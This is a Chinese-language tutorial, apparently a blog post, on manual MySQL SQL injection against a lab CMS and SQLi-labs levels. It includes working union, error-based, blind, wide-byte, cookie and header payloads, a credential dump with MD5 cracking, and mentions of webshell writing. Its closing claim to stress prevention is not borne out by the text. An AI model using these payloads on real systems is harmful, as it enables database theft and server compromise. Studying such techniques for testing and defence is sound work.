文章目录
Sql注入概述
备注:以Mysql数据库为例
原理:一句话概括含义,攻击者构造的Sql语句通过传参的方式带入到了web后台,并成 功的执行。
关键点:
- 参数用户可控
- 成功带入到了后台执行
灵活的Sql查询语句 + 用户输入的数据带入了Sql语句 = 用户直接操作数据库 —> Sql注入漏洞
手工注入测试方法
手工简单识别:
- ’ " )’ )"
- and 1=1 / and 1=2
- and ‘1’='1 / and ‘1’='2
- and 1like 1 / and 1 like 2
工具识别:
- sqlmap -m filename(filename中保存检测目标)
- sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试
- sqlmap --level 增加测试级别,对header中的相关参数也进行测试
- sqlmap -r filename(filename中为网站请求数据)
手工注入测试步骤(三个层面)
- 信息收集
- 数据获取
- 提权
信息收集

- 数据库类型
- 报错信息
- 特有语句
- 数据库版本
- 数据库用户
- 判断数据库权限
数据获取

- 获取库信息
- 获取当前库
- 获取所有库
- 获取表信息
- 获取列信息
- 获取数据
提权

根据数据库权限
- 执行系统命令—>直接提权
- 读文件
- 读取数据库配置文件,尝试远程连接
- 读取系统配置文件,搜集信息
- 写文件—>写Webshell到网站目录
Mysql注入方法逻辑运算及常用函数
常用函数


运算符


万能密码原理: 'or ‘1’ = '1

查询数据库核心语法

查数据库库
SELECT schema_name FROM information_schema.schemata
查询数据表
SELECT table_name FROM information_schema.tables WHERE table_schema=库名
查询列
SELECT column_name FROM information_schema.columns WHERE table_name=表名
查询数据
SELECT 列名 FROM 库名.表名
提示:
- 所有类型的sql注入,都是基于查库、表、列语句。
- 如果数据太多,导致无法返回查询结果:
- 查询的场景:可利用limit限定返回的数量及位置,依次查询。
- 回显数据的场景:concat() 、group_concat()等函数
注入点可能存在的位置
根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:
@ GET 数据
@ POST 数据
@ HTTP 头部(HTTP 请求报文其他字段)
@ Cookie 数据
…
漏洞危害
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
mof|udf
分类
SQL 注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL 注入分为数字型和字符型。
数字型注入就是说注入点的数据,拼接到SQL 语句中是以数字型出现的;
字符型注入即数据两边被单引号、双引号包括。
根据注入手法分类,大致可分为以下几个类别。
@ UNION query SQL injection(可联合查询注入) 联合查询
@ Error-based SQL injection(报错型注入) 报错注入
@ Boolean-based blind SQL injection(布尔型注入) 布尔盲注
@ Time-based blind SQL injection(基于时间延迟注入) 延时注入
@ Stacked queries SQL injection(可多语句查询注入) 堆叠查询
注入流程
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序:
首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。
SQL 注入点的判断
?id=35 +1/-1
select * from tbName where id=$id
?id=35’ 字符型,还是数字型
near ‘’’ at line 1
select * from tbName where id=35’
?id=35 and 1=1 是否有布尔类型的状态
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
?id=35 and sleep(5) 是否有延时
四大基本手法
口诀
是否有回显——>联合查询
是否有报错——>报错注入
是否有布尔类型状态——>布尔盲注
绝招——>延时注入
四大基本手法包括:
@ 联合查询
@ 报错注入
@ 布尔盲注
@ 延时注入
注入点?
[http://172.16.132.138/cms/show.php?id=33]
注入点的判断
对连接[http://172.16.132.138/cms/show.php?id=33]是否是注入点进行判断。
@ 变换id 参数
当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,show.php 页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的新闻内容。
猜测后台执行的SQL 语句大致结构为:
select * from tbName where id=33;
@ 单引号
[?id=33’]
执行的SQL 主语则变为
select * from tbName where id=33’;
页面报错,并且报错信息会回显在网页中,报错信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
----
错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数33 都是正确的。也就是说,我们添加的单引号是多余的。
因此,可以断定参数33 前面没有引号。
则,此注入点(可能)为数字型注入。
@ [and 1=1 ]
[?id=33 and 1=1 --+]
可能得SQL 语句为
select * from tbName where id=33 and 1=1 --+
页面正常。
@ [and 1=2]
[?id=33 and 1=2 --+]
可能得SQL 语句
select * from tbName where id=33 and 1=2 --+
页面没有新闻内容,并且数据库没有报错。由于1=2 是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL 语句在数据库中执行后,没有返回结果,没有新闻内容。
反过来看,页面没有新闻内容,也就是SQL 语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用。
那么,可以通过构造语句来控制SQL 语句的查询结果并且,SQL 语句查询条件真假性,在页面回显中有体现。
@ [and sleep(5)]
[?id=33 and sleep(5)]
注入sleep(5) 语句,可以通过网络时间线看到延时。
说明sleep(5) 语句起到了作用
综上,此连接存在SQL 注入漏洞。
联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。
select ~~~~ union select ~~~~
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
实现 跨库跨表查询
必要条件
@ 两张虚拟的表具有相同的列数
@ 虚拟表对应的列的数据类型相同
判断字段个数
可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。
[order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。
[order by 1 --+]
[order by 2 --+]
…
[order by 15 --+]
[order by 16]
得到当前虚拟表中字段个数为15。
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–+]
[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null–+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。
发现3 和11 会回显到页面中来。
数据库版本
我们可以讲数字3 用函数[version()]代替,即可得到数据库的版本。
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
数据库版本为5.5.53。
当前数据库名
[database()]
[?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
数据库中的表
[?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。
[?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
得到十六进制编码后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
十六进制解码
----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
管理员帐密有可能保存在cms_users 表中。
表中字段
[?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=‘cms_users’–+]
----
7573657269642C757365726E616D652C70617373776F7264
----
----
userid,username,password
----
字段内容
查询表中记录数
[?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
cms_users 表中只有一条记录。
查询字段内容
[?id=33 and 1=2 union select 1,2,hex(concat(username,’:’,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
----
admin:e10adc3949ba59abbe56e057f20f883e
----
得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为
[https://www.cmd5.com/],可以忽略加密类型。
----
admin:123456
----
通过网站后台登录系统
报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
group by 重复键冲突
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
XPATH 报错
@ extractalue()
[?id=33 and extractvalue(1,concat(’^’,(select version()),’^’)) --+]
@ updatexml()
[?id=33 and updatexml(1,concat(’^’,(select database()),’^’),1) --+]
布尔盲注
原理
利用页面返回的布尔类型状态,正常或者不正常。
获取数据库名
@ 数据库名长度
[?id=33 and length(database())=1 --+]
…
[?id=33 and length(database())=3 --+]
可以断定,当前数据库名的长度为3。
@ 数据库名
[?id=33 and ascii(substr(database(),1,1))=99 --+]
由此可知数据库名的第一个字母的ascii 码为99,即是字母c。
延时注入
原理
利用sleep() 语句的延时性,以时间线作为判断条件。
获取数据库名
@ 获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)–+]
@ 数据库名第二位
[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)–+]
由此可知,数据库名第二个字母的ASCII 码值为109,即是字母m。
where id=’$id’
3’ and sleep(5) or ‘1’='1
宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
使用[?id=1’]进行测试的时候,发现提交的单引号会被转移[’]。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转移字符[] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df’ union select 1,2,3 --+],就可以使用联合查询进行注入了。
0xdf5c 就是一个汉字"運"。
Cookie 注入
使用SQLi-labs 第20 关来说明Cookie 注入问题。
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。
来到less-20,在控制台输入
[document.cookie=“uname=Dumb’ and extractvalue(1,concat(0x7e,database(),0x7e))#”]
刷新页面即可。
base64 注入
以SQLI-labs 第22关来说明base64 注入的问题。
base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。我们可以使用报错注入手法,payload
[document.cookie=“uname=Dumb” and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入 [document.cookie=“uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==”]。
刷新网页即可。
HTTP 头部注入
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。
User-Agent 注入
如SQLi-labs 第18 关。
payload
[User-Agent:hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1]
Referer 注入
第19 关,注入字段在Referer 中
[hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1]
本文深入探讨了SQL注入的概念,以Mysql数据库为例,详细阐述了手工注入测试步骤,包括信息收集、数据获取和提权。介绍了逻辑运算、常用函数和万能密码原理,并展示了如何通过报错注入、布尔盲注和延时注入等方法进行漏洞利用。同时,讨论了SQL注入点的判断、危害以及不同类型的SQL注入分类。最后,提供了实际的注入点识别和测试示例,强调了数据库安全和预防措施的重要性。

1万+

被折叠的 条评论
为什么被折叠?



